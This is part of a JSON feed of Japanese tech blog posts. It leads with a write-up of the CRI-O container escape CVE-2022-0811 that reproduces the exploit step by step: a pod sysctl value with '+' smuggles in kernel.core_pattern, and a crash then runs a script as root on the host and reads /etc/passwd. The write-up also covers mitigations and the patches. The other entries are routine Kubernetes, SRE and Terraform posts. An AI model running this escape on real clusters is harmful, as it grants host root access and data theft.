namespaces[s.Key()]; found { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } for p, ns := range prefixNamespaces { if strings.HasPrefix(s.Key(), p) { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } if ns == NetNamespace && hostNet { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } } return errors.Errorf(\\"%s not whitelisted\\", s.Key())}sysctls の適用は pinns 内に実装されており、-s オプションの設定値をもとに /proc/sys/ 以下のファイルに書き込みを行なっています。https://github.com/cri-o/cri-o/blob/main/pinns/src/sysctl.cstatic int write_sysctl_to_file (char * sysctl_key, char* sysctl_value){ if (!sysctl_key || !sysctl_value) { pwarn (\\"sysctl key or value not initialized\\"); return -1; } // replace periods with / to create the sysctl path for (char* it = sysctl_key; *it; it++) if (*it == \'.\') *it = \'/\'; _cleanup_close_ int dirfd = open (\\"/proc/sys\\", O_DIRECTORY | O_PATH | O_CLOEXEC); if (UNLIKELY (dirfd < 0)) { pwarn (\\"failed to open /proc/sys\\"); return -1; } _cleanup_close_ int fd = openat (dirfd, sysctl_key, O_WRONLY); if (UNLIKELY (fd < 0)) { pwarnf (\\"failed to open /proc/sys/%s\\", sysctl_key); return -1; } int ret = TEMP_FAILURE_RETRY (write (fd, sysctl_value, strlen (sysctl_value))); if (UNLIKELY (ret < 0)) { pwarnf (\\"failed to write to /proc/sys/%s\\", sysctl_key); return -1; } return 0;}Coredumpプロセスが異常終了した時に、プロセスメモリの dump を core ファイルとして出力します。Coredump の設定は /proc/sys/kernel/core_pattern に書かれており、ファイルの直接編集や sysctl コマンドで設定を変更できます。# sysctl -w kernel.core_pattern=\\"%e-%s.core\\"kernel.core_pattern には dump の出力先パスを指定しますが、最初文字がパイプ | の場合は指定パスのプログラムを実行します (この場合 dump は標準入力として渡される)。/proc/sys/kernel/core_pattern のデフォルト値として、ubuntu (20.04) では apport というバグレポートツールが指定されています。$ cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %Eまた Coredump のファイルサイズ上限は ulimit で設定します。脆弱性は Soft Limit が0でも刺さりそうです。# cat /proc/self/limits Limit Soft Limit Hard Limit Units Max cpu time unlimited unlimited seconds Max file size unlimited unlimited bytes Max data size unlimited unlimited bytes Max stack size 8388608 unlimited bytes Max core file size 0 unlimited bytes Max resident set unlimited unlimited bytes Max processes 3819 3819 processes Max open files 1024 1048576 files Max locked memory 67108864 67108864 bytes Max address space unlimited unlimited bytes Max file locks unlimited unlimited locks Max pending signals 3819 3819 signals Max msgqueue size 819200 819200 bytes Max nice priority 0 0 Max realtime priority 0 0 Max realtime timeout unlimited unlimited usエクスプロイト要点kernel.core_pattern は Namespaced ではないため、ホストとコンテナで同じファイルを参照するコンテナ内からは変更不可pod 起動時に sysctl に kernel.core_pattern を設定できれば、ホストの値も変更できるCIO-O 内で sysctl のキーを検証しているが、value に + を含む文字列を渡すことでバイパス可能 (以下コードを参照)設定後にプロセスを異常終了させることで、ホストの root 権限で任意コード実行問題となったコードfunc getSysctlForPinns(sysctls map[string]string) string { // this assumes there\'s no sysctl with a `+` in it const pinnsSysctlDelim = \\"+\\" g := new(bytes.Buffer) for key, value := range sysctls { fmt.Fprintf(g, \\"\'%s=%s\'%s\\", key, value, pinnsSysctlDelim) // ← \\"\'key1=value1\'+\'key2=value2\'\\" の形で文字列連結する } return strings.TrimSuffix(g.String(), pinnsSysctlDelim)}検証脆弱なバージョンの CRI-O で CVE-2022-0811 を検証します。Kubernetes は使用せず、crictl での検証を行いました。# crio --versioncrio version 1.23.1Version: 1.23.1GitCommit: af642cdafed31e4be5dd82e996bb084050c8bb89GitTreeState: dirtyBuildDate: 1980-01-01T00:00:00ZGoVersion: go1.17.4Compiler: gcPlatform: linux/amd64Linkmode: staticBuildTags: apparmor, exclude_graphdriver_devicemapper, seccomp, selinuxSeccompEnabled: trueAppArmorEnabled: true最初にホストに実行させたいプログラムを配置するコンテナを作成します。json、pod-config.json は前述のファイルと同じものです。# crictl runp pod-config.json d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a# crictl create d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a container-config.json pod-config.json 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123# crictl start 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac61239029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123起動したコンテナにアタッチし、コンテナの root パスにプログラムを配置します。/etc/passwd をコンテナ内の /output に出力するスクリプトを用意しました。# crictl exec -it 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123 bashroot@d33614f0b22d:/# mount | grep overlayoverlay on / type overlay (rw,relatime,lowerdir=/var/lib/containers/storage/overlay/l/73PSGHB33J2RBZXIUVK7SRC4UA,upperdir=/var/lib/containers/storageoverlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff,workdir=/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/work,metacopy=on,volatile)root@d33614f0b22d:/# echo \'#!/bin/sh\' > /cmdroot@d33614f0b22d:/# echo \'cat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/output\' >> cmdroot@d33614f0b22d:/# cat /cmd#!/bin/shcat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/outputroot@d33614f0b22d:/# chmod a+x /cmd続いて kernel.core_pattern を変更する pod を作成します。+ で連結した value を記載します。value に記載する kernel.core_pattern には、ホストから見たプログラムの絶対パスを指定しています。# をつけていますが、これは CRI-O の実装で付与されるシングルクォートを無効化する役割があります。# cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %E# cat pod-config2.json { \\"metadata\\": { \\"name\\": \\"ubuntu-sandbox2\\", \\"namespace\\": \\"default\\", \\"attempt\\": 1, \\"uid\\": \\"edishd83djaidwnduwk28bcsd\\" }, \\"log_directory\\": \\"/tmp\\", \\"linux\\": { \\"sysctls\\": { \\"kernel.shm_rmid_forced\\": \\"1+kernel.core_pattern=|/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #\\" } }}# crictl runp pod-config2.json FATA[0001] run pod sandbox: rpc error: code = Unknown desc = container create failed: write to /proc/sys/kernel/shm_rmid_forced: Invalid argument pod 作成はエラーになりますが、kernel.core_pattern を見ると変更されていることがわかります。# cat /proc/sys/kernel/core_pattern |/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #\'最後に起動中のコンテナ内でプロセスを異常終了させることで、 Coredump の機能を呼び出しホストの root 権限でプログラムを実行させることができます。root@d33614f0b22d:/# tail -f /dev/null &[1] 17root@d33614f0b22d:/# ps PID TTY TIME CMD 4 pts/0 00:00:00 bash 17 pts/0 00:00:00 tail 18 pts/0 00:00:00 psroot@d33614f0b22d:/# kill -SIGSEGV 17root@d33614f0b22d:/# ls /bin boot cmd dev etc home lib lib32 lib64 libx32 media mnt opt output proc root run sbin srv sys tmp usr var[1]+ Segmentation fault (core dumped) tail -f /dev/nullroot@d33614f0b22d:/# cat /output root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin...回避策CrowdStrike 社のブログ を参考にしています。CRI-O のアップデート (非推奨だが v1.18 以下へのダウングレードも可)OPA 等のポリシーを設定するPSP で sysctls を全てブロックするpinns の -s を除去するラッパーを用意し、crio.conf の pinns_path に設定する修正パッチcommit1https://github.com/cri-o/cri-o/commit/05c443b06356c2dbf9d30060f362279c6b8ac1a1pinns の -s オプションを生成する箇所で、+ に対してバリデーションを追加しています。 func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... if len(cfg.Sysctls) != 0 {- pinnsArgs = append(pinnsArgs, \\"-s\\", getSysctlForPinns(cfg.Sysctls))+ pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)+ if err != nil {+ return nil, errors.Wrapf(err, \\"invalid sysctl\\")+ }+ pinnsArgs = append(pinnsArgs, \\"-s\\", pinnsSysctls) } ... }- func getSysctlForPinns(sysctls map[string]string) string {- // this assumes there\'s no sysctl with a `+` in it+ func getSysctlForPinns(sysctls map[string]string) (string, error) {+ // This assumes there\'s no valid sysctl value with a `+` in it+ // and as such errors if one is found. const pinnsSysctlDelim = \\"+\\" g := new(bytes.Buffer) for key, value := range sysctls {+ if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) {+ return \\"\\", errors.Errorf(\\"\'%s=%s\' is invalid: %s found yet should not be present\\", key, value, pinnsSysctlDelim)+ } fmt.Fprintf(g, \\"\'%s=%s\'%s\\", key, value, pinnsSysctlDelim) }- return strings.TrimSuffix(g.String(), pinnsSysctlDelim)+ return strings.TrimSuffix(g.String(), pinnsSysctlDelim), nil }commit2https://github.com/cri-o/cri-o/commit/1af1f8af2c7e23525102dffbf0899b69e34ed3d2文字列の連結をやめ、-s をパラメータ毎に設定する修正がされています。 func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... - if len(cfg.Sysctls) != 0 {- pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)- if err != nil {- return nil, errors.Wrapf(err, \\"invalid sysctl\\")- }- pinnsArgs = append(pinnsArgs, \\"-s\\", pinnsSysctls)+ for key, value := range cfg.Sysctls {+ pinnsArgs = append(pinnsArgs, \\"-s\\", fmt.Sprintf(\\"%s=%s\\", key, value)) } ... }containerd の場合他のコンテナランタイムがどうなっているか気になったので、containerd の実装を調べてみました。https://github.com/opencontainers/runc/blob/main/libcontainer/configs/validate/validator.go// sysctl validates that the specified sysctl keys are valid or not.// /proc/sys isn\'t completely namespaced and depending on which namespaces// are specified, a subset of sysctls are permitted.func (v *ConfigValidator) sysctl(config *configs.Config) error { validSysctlMap := map[string]bool{ \\"kernel.msgmax\\": true, \\"kernel.msgmnb\\": true, \\"kernel.msgmni\\": true, \\"kernel.sem\\": true, \\"kernel.shmall\\": true, \\"kernel.shmmax\\": true, \\"kernel.shmmni\\": true, \\"kernel.shm_rmid_forced\\": true, } for s := range config.Sysctl { if validSysctlMap[s] || strings.HasPrefix(s, \\"fs.mqueue.\\") { if config.Namespaces.Contains(configs.NEWIPC) { continue } else { return fmt.Errorf(\\"sysctl %q is not allowed in the hosts ipc namespace\\", s) } } if strings.HasPrefix(s, \\"net.\\") { if config.Namespaces.Contains(configs.NEWNET) { continue } else { return fmt.Errorf(\\"sysctl %q is not allowed in the hosts network namespace\\", s) } } return fmt.Errorf(\\"sysctl %q is not in a separate kernel namespace\\", s) } return nil}CRI-O は pinns により独自の sysctls 設定を実装していますが、pod 作成時に設定する都合上、 OCI の機能を使わない方法を選んだのかもしれません (根拠はないです)。さいごに初めて CRI-O を触りましたが、Docker や containerd とはかなり仕組みが異なることがわかりました。脆弱性の調査を通して CRI-O の実装や Linux の機能に触れることができ、良い機会を得られたと思います。内容に誤りが含まれる可能性がありますので、何かお気づきの方はご指摘等よろしくお願いします。参考リンクhttps://nvd.nist.gov/vuln/detail/CVE-2022-0811https://blog.aquasec.com/cve-2022-0811-cri-o-vulnerabilityhttps://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/https://github.com/cri-o/cri-o/security/advisories/GHSA-6x2m-w449-qwx7https://pwning.systems/posts/escaping-containers-for-fun/https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mountshttps://valinux.hatenablog.com/entry/20210721https://qiita.com/rarul/items/d33b664c8414f065e65ehttps://man7.org/linux/man-pages/man5/core.5.htmlhttps://lwn.net/Articles/280959/https://wiki.ubuntu.com/Apport","link":"https://kyohmizu.hatenablog.com/entry/2022/03/28/182243","isoDate":"2022-03-28T09:22:43.000Z","dateMiliSeconds":1648459363000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"nnn(Terminal file manager)を使ってみる","contentSnippet":"nnnとはhttps://github.com/jarun/nnnターミナル上で動作するファイルマネージャー 良い点軽量で高速な動作を保つために機能をプラグインとして外出しして拡張できる設計になってますプラグインはシェルスクリプトなどで簡単に記述できますキーバインドはviライクですtmuxを利用してる状態の画像表示も問題ないですターミナルはkittyを利用しています インストールUbuntu$ sudo apt install nnnArch Linux$ sudo pacman -S nnnMacOS$ bre...","link":"https://zenn.dev/tayusa/articles/1f87e798ccbed0","isoDate":"2022-03-27T13:27:45.000Z","dateMiliSeconds":1648387665000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"[2022/03/25] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年03月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/NewvQB5q-QU 告知とかニュースっぽいもの Cloud Native Database Meetup #4https:...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220325","isoDate":"2022-03-25T12:55:35.000Z","dateMiliSeconds":1648212935000,"authorName":"bells17","authorId":"bells17"},{"title":"Intigritiリーダーボードとは何か、それが企業のバグバウンティプログラムにどのような影響を与えるか","contentSnippet":"今回の記事では、Intigritiのリーダーボードがどのようなものか、より詳しく説明していきます。また、バグバウンティプログラムやバグハンターコミュニティにどのような利益をもたらすかについても紹介していきます。The post Intigritiリーダーボードとは何か、それが企業のバグバウンティプログラムにどのような影響を与えるか first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/intigriti-leaderboard-what-is-it-and-how-does-it-impact-your-program/","isoDate":"2022-03-22T01:55:00.000Z","dateMiliSeconds":1647914100000,"authorName":"Sreake","authorId":"Sreake"},{"title":"golangで作るTCPIPプロトコル","contentSnippet":"はじめにとりあえずIT業界に入ったら読んでおけという名著はいろいろありますが、その中の1冊がマスタリングTCP/IP入門編でしょう。僕も買ってはいたものの読むのを途中で挫折していたので、今回しっかり読んでTCP/IPを再勉強してみたいと思います。マスタリングTCP/IPを読みながらその他わからんことはググりつつ、golangでTCPIPプロトコルそのものを自作してみます。方針は以下のようにします。ethernetから作るデータのやり取りにnetパッケージは一切使わない(訂正、PCのIPやMacアドレスを取るのにだけ使用しますた)データのやり取りに使うのはsyscal...","link":"https://zenn.dev/satoken/articles/golang-tcpip","isoDate":"2022-03-21T16:39:19.000Z","dateMiliSeconds":1647880759000,"authorName":"satoken","authorId":"satoken"},{"title":"Securify申し込みから利用までを徹底解説 [使ってみた]","contentSnippet":"当社が2021年12月より提供開始した、自動脆弱性診断ツール「Securify (セキュリファイ)」ですが、おかげさまで多くの企業様よりお問い合わせ、ならびご利用頂いております。現在ベータ版での提供であり、全機能を無料で […]The post Securify申し込みから利用までを徹底解説 [使ってみた] first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/securify_trial/","isoDate":"2022-03-18T15:08:46.000Z","dateMiliSeconds":1647616126000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[2022/03/18] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年03月18日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/y7DMp3aqCFM 告知とかニュースっぽいもの 3-shake SRE Tech Talk #3https://youtu...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220318","isoDate":"2022-03-18T12:50:45.000Z","dateMiliSeconds":1647607845000,"authorName":"bells17","authorId":"bells17"},{"title":"Observability Conference 2022 に登壇しました","contentSnippet":"「Dapr の概念と実装から学ぶ Observability への招待」 というタイトルで登壇します。https://event.cloudnativedays.jp/o11y2022/talks/1382:embed:cite セッション概要Dapr は CloudNative な技術を背景に持つ分散アプリケーションランタイムです。本セッションでは Dapr の Observability に関する各種機能と、その実装について解説していきます。さらにスリーシェイクの Dapr と Observability への取り組みに関してもご紹介します。Dapr の機能でカバーできる点...","link":"https://zenn.dev/nwiizo/articles/d837b78914de23","isoDate":"2022-03-11T04:02:18.000Z","dateMiliSeconds":1646971338000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Archives","contentSnippet":"","link":"https://blog.jigyakkuma.org/archives/","isoDate":"2022-03-06T00:00:00.000Z","dateMiliSeconds":1646524800000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"[2022/03/04] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年03月04日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/3s0T6k24I_o 告知とかニュースっぽいもの Twitterコミュニティ機能についてhttps://twitter.co...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220304","isoDate":"2022-03-04T12:34:50.000Z","dateMiliSeconds":1646397290000,"authorName":"bells17","authorId":"bells17"},{"title":"JAWS-UG SRE支部 #2 突撃！となりのSRE","contentSnippet":"jawsug-sre.connpass.com聞いてきましたのでメモと感想を残しておきます。LTマネーフォーワードのマイクロサービス基盤のこれまでとこれから by マネーフォワード @grezarjpマネーフォワードのマイクロサービス基盤の移り変わりの紹介。中央集権構造 => 権限移譲フェーズ => これから中央集権構造サービスごとに開発チームが存在、サービスにまたがってインフラチームが存在開発チームはインフラを気にしなくてもすんだ。メンバーが少ないうちはなんとかなった組織の規模に対してインフラチームがスケールしなくなった責務の分解点を再定義 DevOpsへ権限移譲フェーズ開発チームに権限を渡していくAWSとKubernatesを使用ランタイム、ミドルウェアも開発チームが管理サービスごとにNamespaceを切る、Namespace内で開発チームは権限を持つマイクロサービスごとにAWSアカウント管理して、リソースを管理するこれから権限は渡したが、運用まではむつかしい開発の運用を負荷を下げるためにTerraformのモジュール化、設定のバリデーションの整備AWSアカウントの統制、コスト可視化を進めたいアプリケーションランタイムのSnadbox化特殊要件なアプリケーションで使えるように開発チームにここまでインフラの権限を渡せて、運用できるのはすごいなと思った。QAQ: 開発チームの権限移譲の苦労、運用面、技術面A: マルチアカウントをつかって 技術上の考慮点があった人と人とのかかわりに関しては銀の弾丸はないので、地道な作業が必要ドキュメントとかで監視項目を揃えてあげるのに力を入れたQ: 開発とインフラでスキルセットの違いはあった?A:インフラはアプリをあんまり見てこなかったのでそのへんのギャップはあったQ: EKSのテナント分割の単位A: 権限分類と障害の影響範囲の最小化はシングルテナントが有利とは言われるが運用負荷を下げるためにマルチテナントを選んだSREグループのマネージャーという立場になって真っ先にやったこと by ミクシィ@isaoshimizu内容に関しては、スライドに詳しく書いてあるので参照。SREのミッション・バリューいいなあと思った。うちのチームでもちゃんと考えたい。SRE Lounge #13 LTでも今回と近いことを書いてるので参照してほしいとのこと↓組織にSREの文化を作り上げていくEnabling SRE | Money Forward Engineers\' BlogQAQ: SRE主導でやるべきではなかったことA: SREは万能な人がおおくでできてしまう開発側のリソースが足りなくて急がないといけないことをSREがやってしまう本来はそうじゃないよねって話自分としては、SREでも開発分野でも巻き取れることはやってしまってもいいと思うんですよね。線を引きすぎるとセクショナリズムになってあまり良くない気がしてる。組織のあり方はそれぞれで、コンテキスト分かってないので、言い切ることはできないですが。Containerサービス と Toil と by スリーシェイク \xa0@tt0603ECSとEKSについてToilと紐付けての話題。Toilの削減ステップ特定計測削減ただこのプロセスはつらい。SREとしては長期的なエンジニアリング に時間を使いたい。本質的なことをすることが目的。Toilを削減することが目的ではない。技術選定として、まずマネージドで考える。チームとして何を大事にしているかを考える。自分たちの”サイズ”で技術選定をして価値あるエンジニアリングをする。個人的にはEKSとECSのまとめがわかりやすくてよかった。QAQ: セルフホステッドを選択する場合は?A: 監視するとき Prometheus使うときとかつらいのでFargateは起動が遅い スケールが遅い技術選定において、自分たちの「サイズ」っていう要素が存在するというのは暗黙的なものになりがちなので、ちゃんと具体的に捉えておくの大事な気がした。 #jawsug_sre— Tomoya Kitaura (@kitta0108) 2022年2月25日 先程はパッと答えられませんでしたが、弊社の場合はMicroServiceを運用する際にはIstioを利用するケースが非常に多く、現状では対応していないため、EKSの場合はSelf Hostedを利用するケースが多いですー#jawsug_sre— TakuyaTezuka@3-shake (@tt0603) 2022年2月25日 パネルディスカッションMFのSREの組織のやり方で工夫してるところもともと中央集権的だった、開発に権限移譲していった権限を渡していっていながらそれ以上にプロダクトが開発が増えてしまったので負荷が増えてしまったenabling SREを広げる役割もつくるSREというポジションじゃなくてもSRE的な動きができるように組織にSREの文化を作り上げていくEnabling SRE | Money Forward Engineers\' Blog技術支援からSREの組織変数がいくつか システムの規模 性質 組織規模、レベル感などpure sreではじめて権限移譲していく自分たちのサイズに合わせて組織を作っていく開発とSREのベストの距離感タイミングによって違う固定されたものじゃない構成をいかにシンプルにできるかが大事SREが開発に使いやすいサービスを提供するSREのAPIを提供するので好きに使って的な横断組織SREと開発チーム内SREというパターンもあるお互いのコミュニケーションは大事採用する際に求めるスキルセットやレベル感なんでもかんでも能力を持ってる人はいない。特定の領域に得意を持ってるといい、最低限のレベル感はほしいコミュニケーション 大事 ソフトスキルの担保が大事会社のバリューにあってるかSREワークブックの最後の方求められるスキル書いてあるすべてのインフラコードはIaCに寄せたい、チームにはソフトウェアスキル、インフラスキルそれぞれ持つメンバーがほしい変更時のトラブルシューティングはできるべきコードレビューできるスキルを持っていてほしいコーディングあるていどできる人組織による開発をSREに興味をもってもらうはどうしたらいいのだろうかSLOを決めて共通言語で話す留学すると面白いかもお互いがどういう観点で仕事してるかがわかってよいどこまで開発に移譲するかエラーバジェット、SLO、SLIは必要SREが設定するSLOより開発者が設定するSLOの方がいい開発者にとってうまいところを教えるアプローチ開発者にとってもバグが出ないことによって、気持ちよく開発できるよ!開発者の観点じゃなくてビジネス観点でSLO設定するんじゃないのかなって思う。。。?あと、留学いいなあと思った。開発チームに留学したい。SREチームが存在しない。どんなフェーズになったらSREチームを作ったほうがいいというしきい値あります?開発者が開発以外に手を取られて開発スピードが落ちてるのが目に見えたら兼務の限界値がある。得意なことにバリューを出せるようにしたい開発しながらAWSの新機能をキャッチアップするのはたいへんdevとopsのバランスが崩れているとき SREのプラクティスをいれるといいのかもエラーバジェットが判断軸になるかもどれくらいのチームが困ってるかが判断軸になるToil撲滅の意味で費用対効果高かったLambdaランキング今Lambdaを殆ど使ってないchatbotが出たのでLambdaの役割を終えたEKS上にアプリケーションを作ってしまうことが多い必要悪としてのLambda コードを書くのは最終手段。書いた瞬間に負債になる時刻でEC2終了するLambdaオートスケーリングでいいのでは?terrafromでLambda扱いにくい問題SREとしてセキュリティに対しての役割サービスInspectorECRのイメージスキャンCI/CD成立してからじゃないとイメージスキャンできないGuardDutySSOIAM Userを撲滅できたただ個別要件に対応しにくいSREが見てるケースが多いコーポレートセキュリティは範疇じゃないが、アプリケーションセキュリティは範疇5,6人目にセキュリティが強い人がほしい着想の段階からセキュリティの観点をいれておきたいモニタリングロギングの観点で使用してるAWSのサービスAMPEKS使ってるのでコスパが良かったCloudWatch log通知考えるとLambda使わないとAthenaわずらわしい検索しにくいLokiとかに寄せたいログをどこにおくS3Lokiってこれかな?Grafana Loki | Grafana Labs雑感他の会社のSREの話を今まであまり聞くことがなかったので、気づきを得る部分が多かった。SREのミッション・ビジョン・バリューはちょっと考えてみたいなと思った。オンライン開催の形式はYouTube Liveがいいなあって思った。聞き逃しても巻き戻して聞き返せるのがすごい体験として良い。","link":"https://blog.masasuzu.net/entry/2022/02/26/012602","isoDate":"2022-02-25T16:26:02.000Z","dateMiliSeconds":1645806362000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"[2022/02/25] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年02月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL: 配信中止して記事だけ放流したので配信URLはありません 告知とかニュースっぽいもの NetApp Insight Japan 2022で講演しましたセッション動...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220225","isoDate":"2022-02-25T13:31:31.000Z","dateMiliSeconds":1645795891000,"authorName":"bells17","authorId":"bells17"},{"title":"Future Tech Night #20 Terraform State縛りの勉強会 #future_tech_night","contentSnippet":"future.connpass.com久しぶりにちゃんと勉強会の感想ブログ書きます。① State の分割戦略 〜ModulesとWorkspacesを利用して〜StateはTerraform上での管理を分ける意味では非常に重要な要素であり、適切に分けることで不慮の事故や予期せぬ変更からクラウドリソースを守ることができます。このセッションでは演者が実際にTerraformを利用して感じたことを交えながら、適切なStateの分割戦略とは？について話します。Stateの分割についてModuleによるアプローチとWorkspacesによるアプローチ、そしてそのあわせ技についての説明がありました。Workspacesは使ったことないのであまり知見がなかったので、いろいろ参考になる部分がありました。今のterraform運用だと環境ごとにディレクトリを切ってstateを分割してます。で、環境ごとの差異としてパラメータだけでなく、作るリソース作らないリソースが若干まちまちなので、そのままだとWorkspacesは向かないなと感じました。絶対に作るリソース、RDSやVPCなどは分割した上でWorkspacesで管理するのはありなのかなとは思いました。ただ、同じシステムで、環境毎のディレクトリとリソース毎のディレクトリが混在するのはわかりにくくならないかなという懸念はあります。悩ましいですねあと、ブランチ戦略も難しいですね。現状はmasterでprdをapplyするように、stagingでそれ以外の環境をapplyするようになってますが、全部masterでやるようにしても良いのではと思ったりもしてる今日このごろです。② クラウドリソース自体をdestroy/createdせずに、Terraformリソース定義の記述場所を変更する方法クラウドサービス上で稼働するリソースには一切手を付けずに、Terraformの定義記載場所だけを変更する方法を話します。Terraformを利用していると「このディレクトリ配置じゃダメだ。配置変えしたいのだけれど、リソースの再作成はできない。次にインフラ設計するときは、〇〇に注意しよう」という運用ナレッジが貯まると思います。スタート時点で完璧なTerraformディレクトリ設計ができれば御の字ですが、それが不可能なことは、この分野でベストプラクティスが確立されていないことにより証明されています。本パートでは「Terraformのディレクトリ配置には定石がないのだから、運用状況に合わせて柔軟に配置換えすべき」という観点から、「動作中リソースに影響なく、Terraform定義箇所を移植する方法」について話します。20220217_FutureTechNight_#20_TerraformState縛りの勉強会.pptx - Google スライドこんなふうに別のtfstateファイルにリソースをmvすることによって、Stateにリソースを移動できる手法を説明してました。terraform state mv -state-out=${moved_resource.tfstate} ${moved_resource}terraform state pull > ${to.tfstate}terraofm state mv -state=${moved_resource.tfstate} -state-out=${to.tfstate}terraform state push ${to.tfstate}State間でのリソース移動に関しては、terraform state rmとterraform importのあわせ技しか知らなかったので、新しい知見を得ました。まだ試せてないないんですが、State内での移動であれば、moved block使うのもありなのかなと思いました。ちなみリソースが消えた場合にもmove blockって使えるんですかね?なかなか他の会社のterraform運用の話を聞く機会があまりなかったので、楽しかったですね。最近勉強会出てもメモすら残さないことが多くて、せっかく参加したのにあまり有意義に時間を使えていなかったので、薄くてもいいので今後ちゃんと感想、意見を書き残していきたいと思いました。","link":"https://blog.masasuzu.net/entry/2022/02/17/210848","isoDate":"2022-02-17T12:08:48.000Z","dateMiliSeconds":1645099728000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Kubelet APIをcurlで叩く","link":"https://bells17.medium.com/curl-to-kubelet-api-f73cb17888b7?source=rss-713cf42ce34d------2","isoDate":"2022-02-10T16:10:23.000Z","dateMiliSeconds":1644509423000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/02/10] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年02月10日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/adlS59o984M 告知とかニュースっぽいもの k8sを便利にするらしいTanzu Application Platform...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220210","isoDate":"2022-02-10T12:56:14.000Z","dateMiliSeconds":1644497774000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/02/04] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年02月04日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + 